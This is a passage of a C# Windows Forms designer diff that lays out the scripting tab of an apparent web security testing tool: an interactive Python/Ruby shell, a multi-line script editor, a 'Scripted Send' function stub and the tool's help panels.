this.TestGroupLogGridForLength.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForLength.HeaderText = "LENGTH"; + this.TestGroupLogGridForLength.Name = "TestGroupLogGridForLength"; + this.TestGroupLogGridForLength.ReadOnly = true; + this.TestGroupLogGridForLength.Width = 60; + // + // TestGroupLogGridForMIME + // + this.TestGroupLogGridForMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForMIME.HeaderText = "MIME"; + this.TestGroupLogGridForMIME.Name = "TestGroupLogGridForMIME"; + this.TestGroupLogGridForMIME.ReadOnly = true; + this.TestGroupLogGridForMIME.Width = 70; + // + // TestGroupLogGridForSetCookie + // + this.TestGroupLogGridForSetCookie.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.TestGroupLogGridForSetCookie.HeaderText = "SET-COOKIE"; + this.TestGroupLogGridForSetCookie.Name = "TestGroupLogGridForSetCookie"; + this.TestGroupLogGridForSetCookie.ReadOnly = true; + this.TestGroupLogGridForSetCookie.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.TestGroupLogGridForSetCookie.Width = 80; + // + // MTHelp + // + this.MTHelp.Controls.Add(this.MTHelpTB); + this.MTHelp.Location = new System.Drawing.Point(4, 22); + this.MTHelp.Name = "MTHelp"; + this.MTHelp.Size = new System.Drawing.Size(697, 156); + this.MTHelp.TabIndex = 3; + this.MTHelp.Text = " Help "; + this.MTHelp.UseVisualStyleBackColor = true; + // + // MTHelpTB + // + this.MTHelpTB.BackColor = System.Drawing.Color.White; + this.MTHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.MTHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.MTHelpTB.Location = new System.Drawing.Point(0, 0); + this.MTHelpTB.Multiline = true; + this.MTHelpTB.Name = "MTHelpTB"; + this.MTHelpTB.ReadOnly = true; + this.MTHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.MTHelpTB.Size = new System.Drawing.Size(697, 156); + this.MTHelpTB.TabIndex = 1; + this.MTHelpTB.TabStop = false; + this.MTHelpTB.Text = resources.GetString("MTHelpTB.Text"); + // + // mt_scripting + // + this.mt_scripting.Controls.Add(this.ScriptingShellSplit); + this.mt_scripting.Location = new System.Drawing.Point(4, 22); + this.mt_scripting.Margin = new System.Windows.Forms.Padding(0); + this.mt_scripting.Name = "mt_scripting"; + this.mt_scripting.Size = new System.Drawing.Size(705, 511); + this.mt_scripting.TabIndex = 10; + this.mt_scripting.Text = " Scripting "; + this.mt_scripting.UseVisualStyleBackColor = true; + // + // ScriptingShellSplit + // + this.ScriptingShellSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingShellSplit.Location = new System.Drawing.Point(0, 0); + this.ScriptingShellSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellSplit.Name = "ScriptingShellSplit"; + // + // ScriptingShellSplit.Panel1 + // + this.ScriptingShellSplit.Panel1.Controls.Add(this.panel3); + this.ScriptingShellSplit.Panel1.Controls.Add(this.ClearShellDisplayBtn); + this.ScriptingShellSplit.Panel1.Controls.Add(this.MultiLineShellExecuteBtn); + this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellCtrlCBtn); + this.ScriptingShellSplit.Panel1.Controls.Add(this.ScriptingShellTabs); + this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellRubyRB); + this.ScriptingShellSplit.Panel1.Controls.Add(this.label2); + this.ScriptingShellSplit.Panel1.Controls.Add(this.InteractiveShellPythonRB); + // + // ScriptingShellSplit.Panel2 + // + this.ScriptingShellSplit.Panel2.Controls.Add(this.ScriptingShellAPISplit); + this.ScriptingShellSplit.Size = new System.Drawing.Size(705, 511); + this.ScriptingShellSplit.SplitterDistance = 533; + this.ScriptingShellSplit.SplitterWidth = 2; + this.ScriptingShellSplit.TabIndex = 7; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.LightSkyBlue; + this.panel3.Controls.Add(this.textBox5); + this.panel3.Controls.Add(this.ShowScriptCreationAssistantBtn); + this.panel3.Dock = System.Windows.Forms.DockStyle.Top; + this.panel3.Location = new System.Drawing.Point(0, 0); + this.panel3.Margin = new System.Windows.Forms.Padding(0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(533, 49); + this.panel3.TabIndex = 9; + // + // textBox5 + // + this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox5.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox5.Location = new System.Drawing.Point(5, 5); + this.textBox5.Margin = new System.Windows.Forms.Padding(0); + this.textBox5.Multiline = true; + this.textBox5.Name = "textBox5"; + this.textBox5.ReadOnly = true; + this.textBox5.Size = new System.Drawing.Size(392, 40); + this.textBox5.TabIndex = 9; + this.textBox5.TabStop = false; + this.textBox5.Text = resources.GetString("textBox5.Text"); + // + // ShowScriptCreationAssistantBtn + // + this.ShowScriptCreationAssistantBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ShowScriptCreationAssistantBtn.BackColor = System.Drawing.Color.Transparent; + this.ShowScriptCreationAssistantBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ShowScriptCreationAssistantBtn.ForeColor = System.Drawing.Color.Black; + this.ShowScriptCreationAssistantBtn.Location = new System.Drawing.Point(405, 4); + this.ShowScriptCreationAssistantBtn.Margin = new System.Windows.Forms.Padding(0); + this.ShowScriptCreationAssistantBtn.Name = "ShowScriptCreationAssistantBtn"; + this.ShowScriptCreationAssistantBtn.Size = new System.Drawing.Size(127, 41); + this.ShowScriptCreationAssistantBtn.TabIndex = 8; + this.ShowScriptCreationAssistantBtn.Text = "Run Script Creation Assistant"; + this.ShowScriptCreationAssistantBtn.UseVisualStyleBackColor = false; + this.ShowScriptCreationAssistantBtn.Click += new System.EventHandler(this.ShowScriptCreationAssistantBtn_Click); + // + // ClearShellDisplayBtn + // + this.ClearShellDisplayBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ClearShellDisplayBtn.BackColor = System.Drawing.Color.Transparent; + this.ClearShellDisplayBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ClearShellDisplayBtn.ForeColor = System.Drawing.Color.Black; + this.ClearShellDisplayBtn.Location = new System.Drawing.Point(359, 54); + this.ClearShellDisplayBtn.Margin = new System.Windows.Forms.Padding(0); + this.ClearShellDisplayBtn.Name = "ClearShellDisplayBtn"; + this.ClearShellDisplayBtn.Size = new System.Drawing.Size(100, 20); + this.ClearShellDisplayBtn.TabIndex = 7; + this.ClearShellDisplayBtn.Text = "Clear Shell Output"; + this.ClearShellDisplayBtn.UseVisualStyleBackColor = false; + this.ClearShellDisplayBtn.Click += new System.EventHandler(this.ClearShellDisplayBtn_Click); + // + // MultiLineShellExecuteBtn + // + this.MultiLineShellExecuteBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.MultiLineShellExecuteBtn.BackColor = System.Drawing.Color.Transparent; + this.MultiLineShellExecuteBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.MultiLineShellExecuteBtn.ForeColor = System.Drawing.Color.Black; + this.MultiLineShellExecuteBtn.Location = new System.Drawing.Point(222, 54); + this.MultiLineShellExecuteBtn.Margin = new System.Windows.Forms.Padding(0); + this.MultiLineShellExecuteBtn.Name = "MultiLineShellExecuteBtn"; + this.MultiLineShellExecuteBtn.Size = new System.Drawing.Size(129, 20); + this.MultiLineShellExecuteBtn.TabIndex = 6; + this.MultiLineShellExecuteBtn.Text = "Execute MutliLine Script"; + this.MultiLineShellExecuteBtn.UseVisualStyleBackColor = false; + this.MultiLineShellExecuteBtn.Visible = false; + this.MultiLineShellExecuteBtn.Click += new System.EventHandler(this.MultiLineShellExecuteBtn_Click); + // + // InteractiveShellCtrlCBtn + // + this.InteractiveShellCtrlCBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.InteractiveShellCtrlCBtn.BackColor = System.Drawing.Color.Transparent; + this.InteractiveShellCtrlCBtn.Enabled = false; + this.InteractiveShellCtrlCBtn.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.InteractiveShellCtrlCBtn.ForeColor = System.Drawing.Color.Black; + this.InteractiveShellCtrlCBtn.Location = new System.Drawing.Point(468, 54); + this.InteractiveShellCtrlCBtn.Margin = new System.Windows.Forms.Padding(0); + this.InteractiveShellCtrlCBtn.Name = "InteractiveShellCtrlCBtn"; + this.InteractiveShellCtrlCBtn.Size = new System.Drawing.Size(62, 20); + this.InteractiveShellCtrlCBtn.TabIndex = 3; + this.InteractiveShellCtrlCBtn.Text = "Ctrl + C"; + this.InteractiveShellCtrlCBtn.UseVisualStyleBackColor = false; + this.InteractiveShellCtrlCBtn.Click += new System.EventHandler(this.InteractiveShellCtrlCBtn_Click); + // + // ScriptingShellTabs + // + this.ScriptingShellTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScriptingShellTabs.Controls.Add(this.InteractiveShellTP); + this.ScriptingShellTabs.Controls.Add(this.MultiLineShellTP); + this.ScriptingShellTabs.Controls.Add(this.ScriptedSendTP); + this.ScriptingShellTabs.Controls.Add(this.ScriptingHelpTP); + this.ScriptingShellTabs.Location = new System.Drawing.Point(0, 76); + this.ScriptingShellTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellTabs.Name = "ScriptingShellTabs"; + this.ScriptingShellTabs.Padding = new System.Drawing.Point(0, 0); + this.ScriptingShellTabs.SelectedIndex = 0; + this.ScriptingShellTabs.Size = new System.Drawing.Size(533, 434); + this.ScriptingShellTabs.TabIndex = 3; + this.ScriptingShellTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScriptingShellTabs_Selecting); + // + // InteractiveShellTP + // + this.InteractiveShellTP.BackColor = System.Drawing.Color.Transparent; + this.InteractiveShellTP.Controls.Add(this.ShellInPanel); + this.InteractiveShellTP.Controls.Add(this.InteractiveShellOut); + this.InteractiveShellTP.Location = new System.Drawing.Point(4, 22); + this.InteractiveShellTP.Margin = new System.Windows.Forms.Padding(0); + this.InteractiveShellTP.Name = "InteractiveShellTP"; + this.InteractiveShellTP.Size = new System.Drawing.Size(525, 408); + this.InteractiveShellTP.TabIndex = 0; + this.InteractiveShellTP.Text = " Interactive Shell "; + // + // ShellInPanel + // + this.ShellInPanel.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ShellInPanel.BackColor = System.Drawing.Color.OrangeRed; + this.ShellInPanel.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.ShellInPanel.Controls.Add(this.InteractiveShellPromptBox); + this.ShellInPanel.Controls.Add(this.InteractiveShellIn); + this.ShellInPanel.Location = new System.Drawing.Point(0, 390); + this.ShellInPanel.Margin = new System.Windows.Forms.Padding(0); + this.ShellInPanel.Name = "ShellInPanel"; + this.ShellInPanel.Size = new System.Drawing.Size(525, 19); + this.ShellInPanel.TabIndex = 3; + // + // InteractiveShellPromptBox + // + this.InteractiveShellPromptBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.InteractiveShellPromptBox.BackColor = System.Drawing.Color.Black; + this.InteractiveShellPromptBox.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.InteractiveShellPromptBox.Cursor = System.Windows.Forms.Cursors.Arrow; + this.InteractiveShellPromptBox.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.InteractiveShellPromptBox.ForeColor = System.Drawing.Color.Lime; + this.InteractiveShellPromptBox.Location = new System.Drawing.Point(2, 2); + this.InteractiveShellPromptBox.Margin = new System.Windows.Forms.Padding(0); + this.InteractiveShellPromptBox.Name = "InteractiveShellPromptBox"; + this.InteractiveShellPromptBox.ReadOnly = true; + this.InteractiveShellPromptBox.Size = new System.Drawing.Size(27, 13); + this.InteractiveShellPromptBox.TabIndex = 2; + this.InteractiveShellPromptBox.Text = ">>>>"; + // + // InteractiveShellIn + // + this.InteractiveShellIn.AcceptsReturn = true; + this.InteractiveShellIn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.InteractiveShellIn.BackColor = System.Drawing.Color.Black; + this.InteractiveShellIn.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.InteractiveShellIn.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.InteractiveShellIn.ForeColor = System.Drawing.Color.Lime; + this.InteractiveShellIn.Location = new System.Drawing.Point(29, 2); + this.InteractiveShellIn.Margin = new System.Windows.Forms.Padding(0); + this.InteractiveShellIn.Name = "InteractiveShellIn"; + this.InteractiveShellIn.Size = new System.Drawing.Size(494, 13); + this.InteractiveShellIn.TabIndex = 0; + this.InteractiveShellIn.WordWrap = false; + this.InteractiveShellIn.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.InteractiveShellIn_KeyPress); + this.InteractiveShellIn.KeyUp += new System.Windows.Forms.KeyEventHandler(this.InteractiveShellIn_KeyUp); + // + // InteractiveShellOut + // + this.InteractiveShellOut.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.InteractiveShellOut.BackColor = System.Drawing.Color.Black; + this.InteractiveShellOut.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.InteractiveShellOut.Cursor = System.Windows.Forms.Cursors.Arrow; + this.InteractiveShellOut.Font = new System.Drawing.Font("Lucida Console", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.InteractiveShellOut.ForeColor = System.Drawing.Color.Lime; + this.InteractiveShellOut.Location = new System.Drawing.Point(0, 0); + this.InteractiveShellOut.Margin = new System.Windows.Forms.Padding(0); + this.InteractiveShellOut.MaxLength = 2147483647; + this.InteractiveShellOut.Multiline = true; + this.InteractiveShellOut.Name = "InteractiveShellOut"; + this.InteractiveShellOut.ReadOnly = true; + this.InteractiveShellOut.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.InteractiveShellOut.Size = new System.Drawing.Size(525, 391); + this.InteractiveShellOut.TabIndex = 1; + // + // MultiLineShellTP + // + this.MultiLineShellTP.Controls.Add(this.MultiLineShellInTE); + this.MultiLineShellTP.Location = new System.Drawing.Point(4, 22); + this.MultiLineShellTP.Margin = new System.Windows.Forms.Padding(0); + this.MultiLineShellTP.Name = "MultiLineShellTP"; + this.MultiLineShellTP.Size = new System.Drawing.Size(525, 408); + this.MultiLineShellTP.TabIndex = 1; + this.MultiLineShellTP.Text = " Multi-Line Shell "; + this.MultiLineShellTP.UseVisualStyleBackColor = true; + // + // MultiLineShellInTE + // + this.MultiLineShellInTE.ConvertTabsToSpaces = true; + this.MultiLineShellInTE.Dock = System.Windows.Forms.DockStyle.Fill; + this.MultiLineShellInTE.IsIconBarVisible = false; + this.MultiLineShellInTE.Location = new System.Drawing.Point(0, 0); + this.MultiLineShellInTE.Margin = new System.Windows.Forms.Padding(0); + this.MultiLineShellInTE.Name = "MultiLineShellInTE"; + this.MultiLineShellInTE.ShowEOLMarkers = true; + this.MultiLineShellInTE.ShowSpaces = true; + this.MultiLineShellInTE.ShowTabs = true; + this.MultiLineShellInTE.ShowVRuler = true; + this.MultiLineShellInTE.Size = new System.Drawing.Size(525, 408); + this.MultiLineShellInTE.TabIndent = 2; + this.MultiLineShellInTE.TabIndex = 4; + // + // ScriptedSendTP + // + this.ScriptedSendTP.BackColor = System.Drawing.Color.White; + this.ScriptedSendTP.Controls.Add(this.ShowScriptedSendTemplateLL); + this.ScriptedSendTP.Controls.Add(this.CustomSendErrorTB); + this.ScriptedSendTP.Controls.Add(this.CustomSendTE); + this.ScriptedSendTP.Controls.Add(this.CustomSendBottomRtb); + this.ScriptedSendTP.Controls.Add(this.CustomSendTopRtb); + this.ScriptedSendTP.Controls.Add(this.label1); + this.ScriptedSendTP.Controls.Add(this.CustomSendActivateCB); + this.ScriptedSendTP.Controls.Add(this.CustomSendRubyRB); + this.ScriptedSendTP.Controls.Add(this.CustomSendPythonRB); + this.ScriptedSendTP.Location = new System.Drawing.Point(4, 22); + this.ScriptedSendTP.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedSendTP.Name = "ScriptedSendTP"; + this.ScriptedSendTP.Size = new System.Drawing.Size(525, 408); + this.ScriptedSendTP.TabIndex = 2; + this.ScriptedSendTP.Text = " Scripted Send "; + // + // ShowScriptedSendTemplateLL + // + this.ShowScriptedSendTemplateLL.AutoSize = true; + this.ShowScriptedSendTemplateLL.Location = new System.Drawing.Point(178, 9); + this.ShowScriptedSendTemplateLL.Name = "ShowScriptedSendTemplateLL"; + this.ShowScriptedSendTemplateLL.Size = new System.Drawing.Size(134, 13); + this.ShowScriptedSendTemplateLL.TabIndex = 22; + this.ShowScriptedSendTemplateLL.TabStop = true; + this.ShowScriptedSendTemplateLL.Text = "Show sample Python script"; + this.ShowScriptedSendTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowScriptedSendTemplateLL_LinkClicked); + // + // CustomSendErrorTB + // + this.CustomSendErrorTB.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.CustomSendErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CustomSendErrorTB.Dock = System.Windows.Forms.DockStyle.Bottom; + this.CustomSendErrorTB.Location = new System.Drawing.Point(0, 344); + this.CustomSendErrorTB.Multiline = true; + this.CustomSendErrorTB.Name = "CustomSendErrorTB"; + this.CustomSendErrorTB.ReadOnly = true; + this.CustomSendErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.CustomSendErrorTB.Size = new System.Drawing.Size(525, 64); + this.CustomSendErrorTB.TabIndex = 15; + this.CustomSendErrorTB.Visible = false; + // + // CustomSendTE + // + this.CustomSendTE.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CustomSendTE.ConvertTabsToSpaces = true; + this.CustomSendTE.IsIconBarVisible = false; + this.CustomSendTE.Location = new System.Drawing.Point(0, 74); + this.CustomSendTE.Margin = new System.Windows.Forms.Padding(0); + this.CustomSendTE.Name = "CustomSendTE"; + this.CustomSendTE.ShowEOLMarkers = true; + this.CustomSendTE.ShowSpaces = true; + this.CustomSendTE.ShowTabs = true; + this.CustomSendTE.ShowVRuler = true; + this.CustomSendTE.Size = new System.Drawing.Size(530, 192); + this.CustomSendTE.TabIndent = 2; + this.CustomSendTE.TabIndex = 14; + // + // CustomSendBottomRtb + // + this.CustomSendBottomRtb.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CustomSendBottomRtb.BackColor = System.Drawing.SystemColors.Window; + this.CustomSendBottomRtb.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CustomSendBottomRtb.Location = new System.Drawing.Point(0, 266); + this.CustomSendBottomRtb.Margin = new System.Windows.Forms.Padding(0); + this.CustomSendBottomRtb.Name = "CustomSendBottomRtb"; + this.CustomSendBottomRtb.ReadOnly = true; + this.CustomSendBottomRtb.Size = new System.Drawing.Size(525, 44); + this.CustomSendBottomRtb.TabIndex = 10; + this.CustomSendBottomRtb.Text = " return res"; + // + // CustomSendTopRtb + // + this.CustomSendTopRtb.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CustomSendTopRtb.BackColor = System.Drawing.SystemColors.Window; + this.CustomSendTopRtb.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CustomSendTopRtb.Location = new System.Drawing.Point(0, 54); + this.CustomSendTopRtb.Margin = new System.Windows.Forms.Padding(0); + this.CustomSendTopRtb.Name = "CustomSendTopRtb"; + this.CustomSendTopRtb.ReadOnly = true; + this.CustomSendTopRtb.Size = new System.Drawing.Size(200, 20); + this.CustomSendTopRtb.TabIndex = 9; + this.CustomSendTopRtb.Text = "def ScriptedSend(req):"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(5, 9); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(58, 13); + this.label1.TabIndex = 6; + this.label1.Text = "Language:"; + // + // CustomSendActivateCB + // + this.CustomSendActivateCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.CustomSendActivateCB.AutoSize = true; + this.CustomSendActivateCB.Location = new System.Drawing.Point(322, 8); + this.CustomSendActivateCB.Name = "CustomSendActivateCB"; + this.CustomSendActivateCB.Size = new System.Drawing.Size(199, 17); + this.CustomSendActivateCB.TabIndex = 13; + this.CustomSendActivateCB.Text = "Activate this Script for Scripted Send"; + this.CustomSendActivateCB.UseVisualStyleBackColor = true; + this.CustomSendActivateCB.CheckedChanged += new System.EventHandler(this.CustomSendActivateCB_CheckedChanged); + // + // CustomSendRubyRB + // + this.CustomSendRubyRB.AutoSize = true; + this.CustomSendRubyRB.Location = new System.Drawing.Point(127, 7); + this.CustomSendRubyRB.Name = "CustomSendRubyRB"; + this.CustomSendRubyRB.Size = new System.Drawing.Size(50, 17); + this.CustomSendRubyRB.TabIndex = 8; + this.CustomSendRubyRB.Text = "Ruby"; + this.CustomSendRubyRB.UseVisualStyleBackColor = true; + this.CustomSendRubyRB.CheckedChanged += new System.EventHandler(this.CustomSendRubyRB_CheckedChanged); + // + // CustomSendPythonRB + // + this.CustomSendPythonRB.AutoSize = true; + this.CustomSendPythonRB.Checked = true; + this.CustomSendPythonRB.Location = new System.Drawing.Point(67, 7); + this.CustomSendPythonRB.Name = "CustomSendPythonRB"; + this.CustomSendPythonRB.Size = new System.Drawing.Size(58, 17); + this.CustomSendPythonRB.TabIndex = 7; + this.CustomSendPythonRB.TabStop = true; + this.CustomSendPythonRB.Text = "Python"; + this.CustomSendPythonRB.UseVisualStyleBackColor = true; + this.CustomSendPythonRB.CheckedChanged += new System.EventHandler(this.CustomSendPythonRB_CheckedChanged); + // + // ScriptingHelpTP + // + this.ScriptingHelpTP.Controls.Add(this.ScriptingHelpTB); + this.ScriptingHelpTP.Location = new System.Drawing.Point(4, 22); + this.ScriptingHelpTP.Name = "ScriptingHelpTP"; + this.ScriptingHelpTP.Size = new System.Drawing.Size(525, 408); + this.ScriptingHelpTP.TabIndex = 3; + this.ScriptingHelpTP.Text = " Help "; + this.ScriptingHelpTP.UseVisualStyleBackColor = true; + // + // ScriptingHelpTB + // + this.ScriptingHelpTB.BackColor = System.Drawing.Color.White; + this.ScriptingHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptingHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingHelpTB.Location = new System.Drawing.Point(0, 0); + this.ScriptingHelpTB.Multiline = true; + this.ScriptingHelpTB.Name = "ScriptingHelpTB"; + this.ScriptingHelpTB.ReadOnly = true; + this.ScriptingHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.ScriptingHelpTB.Size = new System.Drawing.Size(525, 408); + this.ScriptingHelpTB.TabIndex = 1; + this.ScriptingHelpTB.TabStop = false; + this.ScriptingHelpTB.Text = resources.GetString("ScriptingHelpTB.Text"); + // + // InteractiveShellRubyRB + // + this.InteractiveShellRubyRB.AutoSize = true; + this.InteractiveShellRubyRB.Location = new System.Drawing.Point(132, 52); + this.InteractiveShellRubyRB.Name = "InteractiveShellRubyRB"; + this.InteractiveShellRubyRB.Size = new System.Drawing.Size(50, 17); + this.InteractiveShellRubyRB.TabIndex = 5; + this.InteractiveShellRubyRB.Text = "Ruby"; + this.InteractiveShellRubyRB.UseVisualStyleBackColor = true; + this.InteractiveShellRubyRB.CheckedChanged += new System.EventHandler(this.InteractiveShellRubyRB_CheckedChanged); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(4, 54); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(58, 13); + this.label2.TabIndex = 3; + this.label2.Text = "Language:"; + // + // InteractiveShellPythonRB + // + this.InteractiveShellPythonRB.AutoSize = true; + this.InteractiveShellPythonRB.Checked = true; + this.InteractiveShellPythonRB.Location = new System.Drawing.Point(68, 52); + this.InteractiveShellPythonRB.Name = "InteractiveShellPythonRB"; + this.InteractiveShellPythonRB.Size = new System.Drawing.Size(58, 17); + this.InteractiveShellPythonRB.TabIndex = 4; + this.InteractiveShellPythonRB.TabStop = true; + this.InteractiveShellPythonRB.Text = "Python"; + this.InteractiveShellPythonRB.UseVisualStyleBackColor = true; + this.InteractiveShellPythonRB.CheckedChanged += new System.EventHandler(this.InteractiveShellPythonRB_CheckedChanged); + // + // ScriptingShellAPISplit + // + this.ScriptingShellAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingShellAPISplit.Location = new System.Drawing.Point(0, 0); + this.ScriptingShellAPISplit.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellAPISplit.Name = "ScriptingShellAPISplit"; + this.ScriptingShellAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScriptingShellAPISplit.Panel1 + // + this.ScriptingShellAPISplit.Panel1.Controls.Add(this.ScriptingShellAPITreeTabs); + // + // ScriptingShellAPISplit.Panel2 + // + this.ScriptingShellAPISplit.Panel2.Controls.Add(this.ShellAPIDetailsRTB); + this.ScriptingShellAPISplit.Size = new System.Drawing.Size(170, 511); + this.ScriptingShellAPISplit.SplitterDistance = 212; + this.ScriptingShellAPISplit.SplitterWidth = 2; + this.ScriptingShellAPISplit.TabIndex = 0; + // + // ScriptingShellAPITreeTabs + // + this.ScriptingShellAPITreeTabs.Controls.Add(this.ScriptingShellAPITreePythonTab); + this.ScriptingShellAPITreeTabs.Controls.Add(this.ScriptingShellAPITreeRubyTab); + this.ScriptingShellAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingShellAPITreeTabs.Location = new System.Drawing.Point(0, 0); + this.ScriptingShellAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellAPITreeTabs.Name = "ScriptingShellAPITreeTabs"; + this.ScriptingShellAPITreeTabs.Padding = new System.Drawing.Point(0, 0); + this.ScriptingShellAPITreeTabs.SelectedIndex = 0; + this.ScriptingShellAPITreeTabs.Size = new System.Drawing.Size(170, 212); + this.ScriptingShellAPITreeTabs.TabIndex = 0; + // + // ScriptingShellAPITreePythonTab + // + this.ScriptingShellAPITreePythonTab.Controls.Add(this.ScriptingShellPythonAPITree); + this.ScriptingShellAPITreePythonTab.Location = new System.Drawing.Point(4, 22); + this.ScriptingShellAPITreePythonTab.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellAPITreePythonTab.Name = "ScriptingShellAPITreePythonTab"; + this.ScriptingShellAPITreePythonTab.Size = new System.Drawing.Size(162, 186); + this.ScriptingShellAPITreePythonTab.TabIndex = 0; + this.ScriptingShellAPITreePythonTab.Text = "Python"; + this.ScriptingShellAPITreePythonTab.UseVisualStyleBackColor = true; + // + // ScriptingShellPythonAPITree + // + this.ScriptingShellPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptingShellPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingShellPythonAPITree.Location = new System.Drawing.Point(0, 0); + this.ScriptingShellPythonAPITree.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellPythonAPITree.Name = "ScriptingShellPythonAPITree"; + this.ScriptingShellPythonAPITree.Size = new System.Drawing.Size(162, 186); + this.ScriptingShellPythonAPITree.TabIndex = 0; + 